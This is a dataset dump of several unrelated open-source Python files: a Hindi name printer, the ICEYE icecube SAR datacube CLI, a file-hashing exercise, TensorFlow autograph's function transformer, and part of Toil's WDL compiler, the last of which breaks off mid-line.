\n","repo_name":"Noah-Wilderom/framework59","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31630838883","text":"# -*- coding: utf-8 -*-\n\n\"\"\" A program to print user name in Hindi \"\"\"\n\n# variables to store my name in hindi\n# devnagri Script for Piyush\nfirst_name = \"\\u092A\"+\"\\u0940\"+\"\\u092F\"+\"\\u0942\"+\"\\u0937\"\n\n# devnagri script for Kumar\nlast_name = \"\\u0915\"+\"\\u0941\"+\"\\u092E\"+\"\\u093E\"+\"\\u0930\"\n\n# to print my name with comma seperated\nprint(first_name+\",\"+last_name)\n","repo_name":"piyush546/Machine-Learning-Bootcamp","sub_path":"Basic Python programs/unicode patterns/name_hindi.py","file_name":"name_hindi.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"3173751041","text":"#!/usr/bin/env python\n\n\"\"\"\nThe script provides interface to base classes for generating SAR+Labels datacube\n\"\"\"\n\nimport enum\nimport os\nfrom pathlib import Path\nfrom icecube.bin.config import CubeConfig\nfrom icecube.bin.sar_cube.sar_datacube import SARDatacube\nfrom icecube.bin.sar_cube.slc_datacube import SLCDatacube\nfrom icecube.bin.sar_cube.grd_datacube import GRDDatacube\nfrom icecube.bin.datacube import Datacube\nfrom icecube.bin.labels_cube.labels_cube_generator import LabelsDatacubeGenerator\nfrom icecube.utils.logger import Logger\n\nlogger = Logger(os.path.basename(__file__))\n\n\nclass ProductType(enum.Enum):\n GRD = \"GRD\"\n SLC = \"SLC\"\n\n\nclass ProductExtension(enum.Enum):\n GRD = [\".tif\", \".tiff\"]\n SLC = \".h5\"\n\n\nclass LabelsExtension(enum.Enum):\n exts = \".json\"\n\n\nclass IceyeProcessGenerateCube:\n \"\"\"\n An interface class to SARDatacubes and LabelsDatacubes for easily generating ICEYE datacubes\n \"\"\"\n\n @classmethod\n def create_cube(\n self, raster_dir: str, cube_config_path: str, labels_fpath=None\n ) -> Datacube:\n\n if raster_dir is None or not os.path.isdir(raster_dir):\n logger.error(f\"folder {raster_dir} desn't seem to be appropriate\")\n\n cube_config = CubeConfig()\n cube_config.load_config(cube_config_path)\n\n product_type = None\n\n # Create SAR datacube\n if all(\n Path(fname).suffix in ProductExtension.GRD.value\n for fname in os.listdir(raster_dir)\n ):\n product_type = ProductType.GRD.value\n sar_datacube = GRDDatacube.build(cube_config, raster_dir)\n\n elif all(\n fname.endswith(ProductExtension.SLC.value)\n for fname in os.listdir(raster_dir)\n ):\n product_type = ProductType.SLC.value\n sar_datacube = SLCDatacube.build(cube_config, raster_dir)\n else:\n logger.info(\n f\"Some of the files present in the folder {raster_dir} are not .tif or .h5 \"\n f\"- please make sure to remove the extra file before running the script\"\n )\n raise Exception(\"Cannot proceed due to inconsistent extension naming\")\n\n # Create Labels datacube and merge\n if labels_fpath and labels_fpath.endswith(LabelsExtension.exts.value):\n labels_datacube = LabelsDatacubeGenerator.build(\n cube_config, product_type, labels_fpath, raster_dir\n )\n\n merged_xdatasets = Datacube.merge_xrdatasets(\n [sar_datacube.xrdataset, labels_datacube.xrdataset]\n )\n return Datacube().set_xrdataset(merged_xdatasets)\n else:\n logger.info(\n f\"Skipping labels-cube built, \"\n f\"either labels-fpath was not provided or inconsistent extension naming found\"\n )\n\n logger.info(f\"Datacube {sar_datacube.get_dims()} shape built\")\n return Datacube().set_xrdataset(sar_datacube.xrdataset)\n\n @classmethod\n def create_cube_from_list(\n self, list_path: str, cube_config_path: str\n ) -> SARDatacube:\n\n # check the input\n if list_path is None or len(list_path) == 0:\n raise Exception(f\"impossible to pre-process the {list_path}\")\n\n ext = list_path[0].suffix\n\n cube_config = CubeConfig()\n cube_config.load_config(cube_config_path)\n\n if ext in ProductExtension.GRD.value:\n datacube = GRDDatacube.build_from_list(cube_config, list_path)\n\n elif ext == ProductExtension.SLC.value:\n datacube = SLCDatacube.build_from_list(cube_config, list_path)\n\n else:\n logger.info(f\" the extension of the first file {ext} is not .tif or .h5\")\n raise Exception(\"Cannot proceed due to inconsistent extension naming\")\n\n logger.info(f\"Datacube {datacube.get_dims()} shape built\")\n return datacube\n\n\ndef sample_labels_workflow():\n import icecube\n\n resource_dir = os.path.join(\n str(Path(icecube.__file__).parent.parent), \"tests/resources\"\n )\n grd_raster_dir = os.path.join(resource_dir, \"grd_stack\")\n masks_labels_fpath = os.path.join(resource_dir, \"labels/dummy_mask_labels.json\")\n vector_labels_fpath = os.path.join(resource_dir, \"labels/dummy_vector_labels.json\")\n\n # cube configuration fpath\n cube_config_fpath = os.path.join(resource_dir, \"json_config/config_use_case5.json\")\n cube_config_fpath = \"/mnt/xor/ICEYE_PACKAGES/icecube/icecube/config.json\"\n cube_save_fpath = os.path.join(\n resource_dir, \"../../icecube/dataset/test_dataset/test_cube_raster_labels.nc\"\n )\n\n datacube = IceyeProcessGenerateCube.create_cube(\n grd_raster_dir, cube_config_fpath, masks_labels_fpath\n )\n\n datacube.to_file(cube_save_fpath)\n\n\ndef sample_raster_workflow():\n cur_abspath = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"..\")\n cube_config_path = os.path.join(cur_abspath, \"config.json\")\n tests_resources = os.path.join(cur_abspath, \"../tests/resources\")\n raster_dir = os.path.join(tests_resources, \"slc_stack\")\n save_path = os.path.join(cur_abspath, \"dataset\", \"test_slc_stack1.nc\")\n datacube = IceyeProcessGenerateCube.create_cube(raster_dir, cube_config_path)\n datacube.to_file(save_path)\n\n\ndef sample_list_workflow():\n cur_abspath = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"..\")\n cube_config_path = os.path.join(cur_abspath, \"config.json\")\n list_path = [\n Path(\n os.path.join(\n cur_abspath,\n \"..\",\n \"tests\",\n \"resources\",\n \"grd_stack\",\n \"ICEYE_GRD_SLED_54549_20210427T215124_hollow_10x10pixels_fake_0.tif\",\n )\n ),\n Path(\n os.path.join(\n cur_abspath,\n \"..\",\n \"tests\",\n \"resources\",\n \"grd_stack\",\n \"ICEYE_GRD_SLED_54549_20210427T215124_hollow_10x10pixels_fake_1.tif\",\n )\n ),\n ]\n save_path = os.path.join(cur_abspath, \"dataset\", \"test_stack1.nc\")\n datacube = IceyeProcessGenerateCube.create_cube_from_list(\n list_path, cube_config_path\n )\n datacube.to_file(save_path)\n\n\ndef process_args():\n import argparse\n\n parser = argparse.ArgumentParser(\n description=\"CLI support for generating ICEYE datacubes\"\n )\n\n parser.add_argument(\n \"raster_dir\",\n help=\"Path/to/directory where raster are stored\",\n type=str,\n )\n parser.add_argument(\n \"--labels-fpath\",\n help=\"path/to/labels.json (in icecube JSON structure) to populate in datacube (Optional)\",\n type=str,\n default=None,\n )\n parser.add_argument(\n \"--cube-save\",\n help=\"path/to/cube.nc where datacube shall be saved (Optional)\",\n default=None,\n type=str,\n )\n return parser.parse_args()\n\n\ndef cli():\n args = process_args()\n\n cur_abspath = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"..\")\n cube_config_fpath = os.path.join(cur_abspath, \"config.json\")\n datacube = IceyeProcessGenerateCube.create_cube(\n args.raster_dir, cube_config_fpath, labels_fpath=args.labels_fpath\n )\n print(f\"Generated cube dimensions are: {datacube.get_dimensions()}\")\n if args.cube_save is not None:\n print(\"Writing ICEcube to disk. This may take some time, please standby ...\")\n datacube.to_file(args.cube_save)\n\n\nif __name__ == \"__main__\":\n cli()\n","repo_name":"iceye-ltd/icecube","sub_path":"icecube/bin/generate_cube.py","file_name":"generate_cube.py","file_ext":"py","file_size_in_byte":7525,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"18"} +{"seq_id":"49278387","text":"import hashlib\r\n\r\nclass Archivo():\r\n \r\n def __init__(self, nombre) -> None:\r\n self.__nombre = nombre\r\n\r\n @property\r\n def nombre(self):\r\n return self.__nombre\r\n\r\n @nombre.setter\r\n def nombre(self, nombre):\r\n self.__nombre = nombre\r\n\r\n def leer(self):\r\n with open(self.__nombre, \"r\") as f:\r\n data = f.read()\r\n return data\r\n \r\nclass Codificacion():\r\n\r\n def __init__(self):\r\n pass\r\n\r\n def codificar(self, codigo, data:str):\r\n if codigo == \"md5\":\r\n resultado = hashlib.md5(data.encode()).hexdigest()\r\n elif codigo == \"sha256\":\r\n resultado = hashlib.sha256(data.encode()).hexdigest()\r\n elif codigo == \"sha3\":\r\n resultado = hashlib.sha3_224(data.encode()).hexdigest()\r\n else:\r\n print(\"Error de codificacion.\")\r\n return resultado\r\n\r\ndef main():\r\n archivo = Archivo(\"archivo.txt\")\r\n data = archivo.leer()\r\n codificacion = Codificacion()\r\n inp = input(\"Ingrese codificacion: \")\r\n resultado = codificacion.codificar(inp, data)\r\n print(resultado)\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"Lucas16AR/UM-Diseno-De-Sistemas-2022","sub_path":"Ejercicios/ejercicio_2.py","file_name":"ejercicio_2.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"3999707544","text":"import gast\n\nfrom tensorflow.python.autograph.core import converter\nfrom tensorflow.python.autograph.pyct import anno\nfrom tensorflow.python.autograph.pyct import parser\nfrom tensorflow.python.autograph.pyct import qual_names\nfrom tensorflow.python.autograph.pyct import templates\nfrom tensorflow.python.autograph.pyct.static_analysis import activity\nfrom tensorflow.python.autograph.pyct.static_analysis import annos\n\n\nclass _Function(object):\n\n def __init__(self):\n self.context_name = None\n\n\nclass FunctionTransformer(converter.Base):\n \"\"\"Wraps function bodies around autograph-specific boilerplate.\"\"\"\n\n def _function_scope_options(self, fn_scope):\n \"\"\"Returns the options with which to create function scopes.\"\"\"\n # Top-level function receive the options that were directly requested.\n # All others receive the options corresponding to a recursive conversion.\n # Note: this mainly controls the user_requested flag, which is important\n # primarily because the FunctionScope context also creates a\n # ControlStatusCtx(autograph=ENABLED) when user_requested is True. See\n # function_wrappers.py.\n if fn_scope.level == 2:\n return self.ctx.user.options\n return self.ctx.user.options.call_options()\n\n def visit_Lambda(self, node):\n with self.state[_Function] as fn_scope:\n node = self.generic_visit(node)\n\n # TODO(mdan): Fix the tests so that we can always add this decorator.\n if fn_scope.level > 2:\n return templates.replace_as_expression(\n 'ag__.autograph_artifact(l)', l=node)\n\n scope = anno.getanno(node, anno.Static.SCOPE)\n function_context_name = self.ctx.namer.new_symbol('lscope',\n scope.referenced)\n fn_scope.context_name = function_context_name\n anno.setanno(node, 'function_context_name', function_context_name)\n\n template = \"\"\"\n ag__.with_function_scope(\n lambda function_context: body, function_context_name, options)\n \"\"\"\n node.body = templates.replace_as_expression(\n template,\n options=self._function_scope_options(fn_scope).to_ast(),\n function_context=function_context_name,\n function_context_name=gast.Constant(function_context_name, kind=None),\n body=node.body)\n\n return node\n\n def visit_FunctionDef(self, node):\n with self.state[_Function] as fn_scope:\n scope = anno.getanno(node, annos.NodeAnno.BODY_SCOPE)\n\n function_context_name = self.ctx.namer.new_symbol('fscope',\n scope.referenced)\n fn_scope.context_name = function_context_name\n anno.setanno(node, 'function_context_name', function_context_name)\n\n node = self.generic_visit(node)\n\n if fn_scope.level <= 2:\n # Top-level functions lose their decorator because the conversion is\n # always just-in-time and by the time it happens the decorators are\n # already set to be applied.\n node.decorator_list = []\n else:\n # TODO(mdan): Fix the tests so that we can always add this decorator.\n # Inner functions are converted already, so we insert a decorator to\n # prevent double conversion. Double conversion would work too, but this\n # saves the overhead.\n node.decorator_list.append(\n parser.parse_expression('ag__.autograph_artifact'))\n\n docstring_node = None\n if node.body:\n first_statement = node.body[0]\n if (isinstance(first_statement, gast.Expr) and\n isinstance(first_statement.value, gast.Constant)):\n docstring_node = first_statement\n node.body = node.body[1:]\n\n template = \"\"\"\n with ag__.FunctionScope(\n function_name, context_name, options) as function_context:\n body\n \"\"\"\n wrapped_body = templates.replace(\n template,\n function_name=gast.Constant(node.name, kind=None),\n context_name=gast.Constant(function_context_name, kind=None),\n options=self._function_scope_options(fn_scope).to_ast(),\n function_context=function_context_name,\n body=node.body)\n\n if docstring_node is not None:\n wrapped_body = [docstring_node] + wrapped_body\n\n node.body = wrapped_body\n\n return node\n\n\ndef transform(node, ctx):\n node = qual_names.resolve(node)\n node = activity.resolve(node, ctx, None)\n\n return FunctionTransformer(ctx).visit(node)\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/python/autograph/converters/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":4474,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"73811793320","text":"import logging\nimport os\nimport tempfile\nfrom typing import Optional\n\nfrom toil.wdl.wdl_functions import heredoc_wdl\nfrom toil.wdl.wdl_types import (WDLArrayType,\n WDLCompoundType,\n WDLFileType,\n WDLMapType,\n WDLPairType,\n WDLType)\n\nlogger = logging.getLogger(__name__)\n\n\nclass SynthesizeWDL:\n \"\"\"\n SynthesizeWDL takes the \"workflows_dictionary\" and \"tasks_dictionary\" produced by\n wdl_analysis.py and uses them to write a native python script for use with Toil.\n\n A WDL \"workflow\" section roughly corresponds to the python \"main()\" function, where\n functions are wrapped as Toil \"jobs\", output dependencies specified, and called.\n\n A WDL \"task\" section corresponds to a unique python function, which will be wrapped\n as a Toil \"job\" and defined outside of the \"main()\" function that calls it.\n\n Generally this handles breaking sections into their corresponding Toil counterparts.\n\n For example: write the imports, then write all functions defining jobs (which have subsections\n like: write header, define variables, read \"File\" types into the jobstore, docker call, etc.),\n then write the main and all of its subsections.\n \"\"\"\n\n def __init__(self,\n version: str,\n tasks_dictionary: dict,\n workflows_dictionary: dict,\n output_directory: str,\n json_dict: dict,\n docker_user: str,\n jobstore: Optional[str] = None,\n destBucket: Optional[str] = None):\n\n self.version = version\n self.output_directory = output_directory\n if not os.path.exists(self.output_directory):\n try:\n os.makedirs(self.output_directory)\n except:\n raise OSError(\n 'Could not create directory. Insufficient permissions or disk space most likely.')\n\n self.output_file = os.path.join(self.output_directory, 'toilwdl_compiled.py')\n\n if jobstore:\n self.jobstore = jobstore\n else:\n self.jobstore = tempfile.mkdtemp(prefix=f\"{os.getcwd()}{os.sep}toilWorkflowRun\")\n os.rmdir(self.jobstore)\n\n if docker_user != 'None':\n self.docker_user = \"'\" + docker_user + \"'\"\n else:\n self.docker_user = docker_user\n\n # only json is required; tsv/csv are optional\n self.json_dict = json_dict\n\n # holds task skeletons from WDL task objects\n self.tasks_dictionary = tasks_dictionary\n # holds workflow structure from WDL workflow objects\n self.workflows_dictionary = workflows_dictionary\n\n # keep track of which workflow is being written\n self.current_workflow = None\n\n # unique iterator to add to cmd names\n self.cmd_num = 0\n\n # deposit WDL outputs into a cloud bucket; optional\n self.destBucket = destBucket\n\n def write_modules(self):\n # string used to write imports to the file\n module_string = heredoc_wdl('''\n from toil.job import Job\n from toil.common import Toil\n from toil.lib.docker import apiDockerCall\n from toil.wdl.wdl_types import WDLType\n from toil.wdl.wdl_types import WDLStringType\n from toil.wdl.wdl_types import WDLIntType\n from toil.wdl.wdl_types import WDLFloatType\n from toil.wdl.wdl_types import WDLBooleanType\n from toil.wdl.wdl_types import WDLFileType\n from toil.wdl.wdl_types import WDLArrayType\n from toil.wdl.wdl_types import WDLPairType\n from toil.wdl.wdl_types import WDLMapType\n from toil.wdl.wdl_types import WDLFile\n from toil.wdl.wdl_types import WDLPair\n from toil.wdl.wdl_functions import generate_docker_bashscript_file\n from toil.wdl.wdl_functions import generate_stdout_file\n from toil.wdl.wdl_functions import select_first\n from toil.wdl.wdl_functions import sub\n from toil.wdl.wdl_functions import size\n from toil.wdl.wdl_functions import glob\n from toil.wdl.wdl_functions import process_and_read_file\n from toil.wdl.wdl_functions import process_infile\n from toil.wdl.wdl_functions import process_outfile\n from toil.wdl.wdl_functions import abspath_file\n from toil.wdl.wdl_functions import combine_dicts\n from toil.wdl.wdl_functions import parse_memory\n from toil.wdl.wdl_functions import parse_cores\n from toil.wdl.wdl_functions import parse_disk\n from toil.wdl.wdl_functions import read_lines\n from toil.wdl.wdl_functions import read_tsv\n from toil.wdl.wdl_functions import read_csv\n from toil.wdl.wdl_functions import read_json\n from toil.wdl.wdl_functions import read_map\n from toil.wdl.wdl_functions import read_int\n from toil.wdl.wdl_functions import read_string\n from toil.wdl.wdl_functions import read_float\n from toil.wdl.wdl_functions import read_boolean\n from toil.wdl.wdl_functions import write_lines\n from toil.wdl.wdl_functions import write_tsv\n from toil.wdl.wdl_functions import write_json\n from toil.wdl.wdl_functions import write_map\n from toil.wdl.wdl_functions import defined\n from toil.wdl.wdl_functions import basename\n from toil.wdl.wdl_functions import floor\n from toil.wdl.wdl_functions import ceil\n from toil.wdl.wdl_functions import wdl_range\n from toil.wdl.wdl_functions import transpose\n from toil.wdl.wdl_functions import length\n from toil.wdl.wdl_functions import wdl_zip\n from toil.wdl.wdl_functions import cross\n from toil.wdl.wdl_functions import as_pairs\n from toil.wdl.wdl_functions import as_map\n from toil.wdl.wdl_functions import keys\n from toil.wdl.wdl_functions import collect_by_key\n from toil.wdl.wdl_functions import flatten\n import fnmatch\n import textwrap\n import subprocess\n import os\n import errno\n import time\n import shutil\n import shlex\n import uuid\n import logging\n\n _toil_wdl_internal__current_working_dir = os.getcwd()\n\n logger = logging.getLogger(__name__)\n\n\n ''', {'jobstore': self.jobstore})[1:]\n return module_string\n\n def write_main(self):\n \"\"\"\n Writes out a huge string representing the main section of the python\n compiled toil script.\n\n Currently looks at and writes 5 sections:\n 1. JSON Variables (includes importing and preparing files as tuples)\n 2. TSV Variables (includes importing and preparing files as tuples)\n 3. CSV Variables (includes importing and preparing files as tuples)\n 4. Wrapping each WDL \"task\" function as a toil job\n 5. List out children and encapsulated jobs by priority, then start job0.\n\n This should create variable declarations necessary for function calls.\n Map file paths appropriately and store them in the toil fileStore so\n that they are persistent from job to job. Create job wrappers for toil.\n And finally write out, and run the jobs in order of priority using the\n addChild and encapsulate commands provided by toil.\n\n :return: giant string containing the main def for the toil script.\n \"\"\"\n\n main_section = ''\n\n # write out the main header\n main_header = self.write_main_header()\n main_section = main_section + main_header\n\n # write toil job wrappers with input vars\n jobs_to_write = self.write_main_jobwrappers()\n main_section = main_section + jobs_to_write\n\n # loop to export all outputs to a cloud bucket\n if self.destBucket:\n main_destbucket = self.write_main_destbucket()\n main_section = main_section + main_destbucket\n\n return main_section\n\n def write_main_header(self):\n main_header = heredoc_wdl('''\n if __name__==\"__main__\":\n options = Job.Runner.getDefaultOptions(\"{jobstore}\")\n options.clean = 'always'\n with Toil(options) as fileStore:\n ''', {'jobstore': self.jobstore})\n return main_header\n\n def write_main_jobwrappers(self):\n \"\"\"\n Writes out 'jobs' as wrapped toil objects in preparation for calling.\n\n :return: A string representing this.\n \"\"\"\n main_section = ''\n\n # toil cannot technically start with multiple jobs, so an empty\n # 'initialize_jobs' function is always called first to get around this\n main_section = main_section + ' job0 = Job.wrapJobFn(initialize_jobs)\\n'\n\n # declare each job in main as a wrapped toil function in order of priority\n for wf in self.workflows_dictionary:\n self.current_workflow = wf\n for assignment in self.workflows_dictionary[wf]:\n if assignment.startswith('declaration'):\n main_section += self.write_main_jobwrappers_declaration(self.workflows_dictionary[wf][assignment])\n if assignment.startswith('call'):\n main_section += ' job0 = job0.encapsulate()\\n'\n main_section += self.write_main_jobwrappers_call(self.workflows_dictionary[wf][assignment])\n if assignment.startswith('scatter'):\n main_section += ' job0 = job0.encapsulate()\\n'\n main_section += self.write_main_jobwrappers_scatter(self.workflows_dictionary[wf][assignment],\n assignment)\n if assignment.startswith('if'):\n main_section += ' if {}:\\n'.format(self.workflows_dictionary[wf][assignment]['expression'])\n main_section += self.write_main_jobwrappers_if(self.workflows_dictionary[wf][assignment]['body'])\n\n main_section += '\\n fileStore.start(job0)\\n'\n\n return main_section\n\n def write_main_jobwrappers_declaration(self, declaration):\n\n main_section = ''\n var_name, var_type, var_expr = declaration\n\n # check the json file for the expression's value\n # this is a higher priority and overrides anything written in the .wdl\n json_expressn = self.json_var(wf=self.current_workflow, var=var_name)\n if json_expressn is not None:\n var_expr = json_expressn\n\n main_section += ' {} = {}.create(\\n {})\\n' \\\n .format(var_name, self.write_declaration_type(var_type), var_expr)\n\n # import filepath into jobstore\n if self.needs_file_import(var_type) and var_expr:\n main_section += f' {var_name} = process_infile({var_name}, fileStore)\\n'\n\n return main_section\n\n def write_main_destbucket(self):\n \"\"\"\n Writes out a loop for exporting outputs to a cloud bucket.\n\n :return: A string representing this.\n \"\"\"\n main_section = heredoc_wdl('''\n outdir = '{outdir}'\n onlyfiles = [os.path.join(outdir, f) for f in os.listdir(outdir) if os.path.isfile(os.path.join(outdir, f))]\n for output_f_path in onlyfiles:\n output_file = fileStore.writeGlobalFile(output_f_path)\n preserveThisFilename = os.path.basename(output_f_path)\n destUrl = '/'.join(s.strip('/') for s in [destBucket, preserveThisFilename])\n fileStore.exportFile(output_file, destUrl)\n ''', {'outdir': self.output_directory}, indent=' ')\n return main_section\n\n def fetch_ignoredifs(self, assignments, breaking_assignment):\n ignore_ifs = []\n for assignment in assignments:\n if assignment.startswith('call'):\n pass\n elif assignment.startswith('scatter'):\n pass\n elif assignment.startswith('if'):\n if not self.fetch_ignoredifs_chain(assignments[assignment]['body'], breaking_assignment):\n ignore_ifs.append(assignment)\n return ignore_ifs\n\n def fetch_ignoredifs_chain(self, assignments, breaking_assignment):\n for assignment in assignments:\n if assignment.startswith('call'):\n if assignment == breaking_assignment:\n return True\n if assignment.startswith('scatter'):\n if assignment == breaking_assignment:\n return True\n if assignment.startswith('if'):\n return self.fetch_ignoredifs_chain(assignments[assignment]['body'], breaking_assignment)\n return False\n\n def write_main_jobwrappers_if(self, if_statement):\n # check for empty if statement\n if not if_statement:\n return self.indent(' pass')\n\n main_section = ''\n for assignment in if_statement:\n if assignment.startswith('declaration'):\n main_section += self.write_main_jobwrappers_declaration(if_statement[assignment])\n if assignment.startswith('call'):\n main_section += ' job0 = job0.encapsulate()\\n'\n main_section += self.write_main_jobwrappers_call(if_statement[assignment])\n if assignment.startswith('scatter'):\n main_section += ' job0 = job0.encapsulate()\\n'\n main_section += self.write_main_jobwrappers_scatter(if_statement[assignment], assignment)\n if assignment.startswith('if'):\n main_section += ' if {}:\\n'.format(if_statement[assignment]['expression'])\n main_section += self.write_main_jobwrappers_if(if_statement[assignment]['body'])\n main_section = self.indent(main_section)\n return main_section\n\n def write_main_jobwrappers_scatter(self, task, assignment):\n scatter_inputs = self.fetch_scatter_inputs(assignment)\n\n main_section = ' {scatter} = job0.addChild({scatter}Cls('.format(scatter=assignment)\n for var in scatter_inputs:\n main_section += var + '=' + var + ', '\n if main_section.endswith(', '):\n main_section = main_section[:-2]\n main_section += '))\\n'\n\n scatter_outputs = self.fetch_scatter_outputs(task)\n for var in scatter_outputs:\n main_section += ' {var} = {scatter}.rv(\"{var}\")\\n'.format(var=var['task'] + '_' + var['output'], scatter=assignment)\n\n return main_section\n\n def fetch_scatter_outputs(self, task):\n scatteroutputs = []\n\n for var in task['body']:\n # TODO variable support\n if var.startswith('call'):\n if 'outputs' in self.tasks_dictionary[task['body'][var]['task']]:\n for output in self.tasks_dictionary[task['body'][var]['task']]['outputs']:\n scatteroutputs.append({'task': task['body'][var]['alias'], 'output': output[0]})\n return scatteroutputs\n\n def fetch_scatter_inputs(self, assigned):\n\n for wf in self.workflows_dictionary:\n ignored_ifs = self.fetch_ignoredifs(self.workflows_dictionary[wf], assigned)\n # TODO support additional wfs\n break\n\n scatternamespace = []\n\n for wf in self.workflows_dictionary:\n for assignment in self.workflows_dictionary[wf]:\n if assignment == assigned:\n return scatternamespace\n elif assignment.startswith('declaration'):\n name, _, _ = self.workflows_dictionary[wf][assignment]\n scatternamespace.append(name)\n elif assignment.startswith('call'):\n if 'outputs' in self.tasks_dictionary[self.workflows_dictionary[wf][assignment]['task']]:\n for output in self.tasks_dictionary[self.workflows_dictionary[wf][assignment]['task']]['outputs']:\n scatternamespace.append(self.workflows_dictionary[wf][assignment]['alias'] + '_' + output[0])\n elif assignment.startswith('scatter'):\n for var in self.fetch_scatter_outputs(self.workflows_dictionary[wf][assignment]):\n scatternamespace.append(var['task'] + '_' + var['output'])\n elif assignment.startswith('if') and assignment not in ignored_ifs:\n new_list, cont_or_break = self.fetch_scatter_inputs_chain(self.workflows_dictionary[wf][assignment]['body'],\n assigned,\n ignored_ifs,\n inputs_list=[])\n scatternamespace += new_list\n if not cont_or_break:\n return scatternamespace\n return scatternamespace\n\n def fetch_scatter_inputs_chain(self, inputs, assigned, ignored_ifs, inputs_list):\n for i in inputs:\n if i == assigned:\n return inputs_list, False\n elif i.startswith('call'):\n if 'outputs' in self.tasks_dictionary[inputs[i]['task']]:\n for output in self.tasks_dictionary[inputs[i]['task']]['outputs']:\n inputs_list.append(inputs[i]['alias'] + '_' + output[0])\n elif i.startswith('scatter'):\n for var in self.fetch_scatter_outputs(inputs[i]):\n inputs_list.append(var['task'] + '_' + var['output'])\n elif i.startswith('if') and i not in ignored_ifs:\n inputs_list, cont_or_break = self.fetch_scatter_inputs_chain(inputs[i]['body'], assigned, ignored_ifs, inputs_list)\n if not cont_or_break:\n return inputs_list, False\n return inputs_list, True\n\n def write_main_jobwrappers_call(self, task):\n main_section = ' {} = job0.addChild({}Cls('.format(task['alias'], task['task'])\n for var in task['io']:\n main_section += var + '=' + task['io'][var] + ', '\n if main_section.endswith(', '):\n main_section = main_section[:-2]\n main_section += '))\\n'\n\n call_outputs = self.fetch_call_outputs(task)\n for var in call_outputs:\n main_section += ' {var} = {task}.rv(\"{output}\")\\n'.format(var=var['task'] + '_' + var['output'],\n task=var['task'],\n output=var['output'])\n return main_section\n\n def fetch_call_outputs(self, task):\n calloutputs = []\n if 'outputs' in self.tasks_dictionary[task['task']]:\n for output in self.tasks_dictionary[task['task']]['outputs']:\n calloutputs.append({'task': task['alias'], 'output': output[0]})\n return calloutputs\n\n def write_functions(self):\n \"\"\"\n Writes out a python function for each WDL \"task\" object.\n\n :return: a giant string containing the meat of the job defs.\n \"\"\"\n\n # toil cannot technically start with multiple jobs, so an empty\n # 'initialize_jobs' function is always called first to get around this\n fn_section = 'def initialize_jobs(job):\\n' + \\\n ' job.fileStore.logToMaster(\"initialize_jobs\")\\n'\n\n for job in self.tasks_dictionary:\n fn_section += self.write_function(job)\n\n for wf in self.workflows_dictionary:\n for assignment in self.workflows_dictionary[wf]:\n if assignment.startswith('scatter'):\n fn_section += self.write_scatterfunction(self.workflows_dictionary[wf][assignment], assignment)\n if assignment.startswith('if'):\n fn_section += self.write_scatterfunctions_within_if(self.workflows_dictionary[wf][assignment]['body'])\n\n return fn_section\n\n def write_scatterfunctions_within_if(self, ifstatement):\n fn_section = ''\n for assignment in ifstatement:\n if assignment.startswith('scatter'):\n fn_section += self.write_scatterfunction(ifstatement[assignment], assignment)\n if assignment.startswith('if'):\n fn_section += self.write_scatterfunctions_within_if(ifstatement[assignment]['body'])\n return fn_section\n\n def write_scatterfunction(self, job, scattername):\n \"\"\"\n Writes out a python function for each WDL \"scatter\" object.\n \"\"\"\n\n scatter_outputs = self.fetch_scatter_outputs(job)\n\n # write the function header\n fn_section = self.write_scatterfunction_header(scattername)\n\n # write the scatter definitions\n fn_section += self.write_scatterfunction_lists(scatter_outputs)\n\n # write\n fn_section += self.write_scatterfunction_loop(job, scatter_outputs)\n\n # write the outputs for the task to return\n fn_section += self.write_scatterfunction_outputreturn(scatter_outputs)\n\n return fn_section\n\n def write_scatterfunction_header(self, scattername):\n \"\"\"\n\n :return:\n \"\"\"\n scatter_inputs = self.fetch_scatter_inputs(scattername)\n\n fn_section = f'\\n\\nclass {scattername}Cls(Job):\\n'\n fn_section += ' def __init__(self, '\n for input in scatter_inputs:\n fn_section += f'{input}=None, '\n fn_section += '*args, **kwargs):\\n'\n fn_section += ' Job.__init__(self)\\n\\n'\n\n for input in scatter_inputs:\n fn_section += ' self.id_{input} = {input}\\n'.format(input=input)\n\n fn_section += heredoc_wdl('''\n\n def run(self, fileStore):\n fileStore.logToMaster(\"{jobname}\")\n tempDir = fileStore.getLocalTempDir()\n\n try:\n os.makedirs(os.path.join(tempDir, 'execution'))\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n ''', {'jobname': scattername}, indent=' ')[1:]\n for input in scatter_inputs:\n fn_section += ' {input} = self.id_{input}\\n'.format(input=input)\n return fn_section\n\n def write_scatterfunction_outputreturn(self, scatter_outputs):\n \"\"\"\n\n :return:\n \"\"\"\n fn_section = '\\n rvDict = {'\n for var in scatter_outputs:\n fn_section += '\"{var}\": {var}, '.format(var=var['task'] + '_' + var['output'])\n if fn_section.endswith(', '):\n fn_section = fn_section[:-2]\n fn_section += '}\\n'\n fn_section += ' return rvDict\\n\\n'\n\n return fn_section[:-1]\n\n def write_scatterfunction_lists(self, scatter_outputs):\n \"\"\"\n\n :return:\n \"\"\"\n fn_section = '\\n'\n for var in scatter_outputs:\n fn_section += ' {var} = []\\n'.format(var=var['task'] + '_' + var['output'])\n\n return fn_section\n\n def write_scatterfunction_loop(self, job, scatter_outputs):\n \"\"\"\n\n :return:\n \"\"\"\n collection = job['collection']\n item = job['item']\n\n fn_section = f' for {item} in {collection}:\\n'\n\n previous_dependency = 'self'\n for statement in job['body']:\n if statement.startswith('declaration'):\n # reusing write_main_jobwrappers_declaration() here, but it needs to be indented one more level.\n fn_section += self.indent(\n self.write_main_jobwrappers_declaration(job['body'][statement]))\n elif statement.startswith('call'):\n fn_section += self.write_scatter_callwrapper(job['body'][statement], previous_dependency)\n previous_dependency = 'job_' + 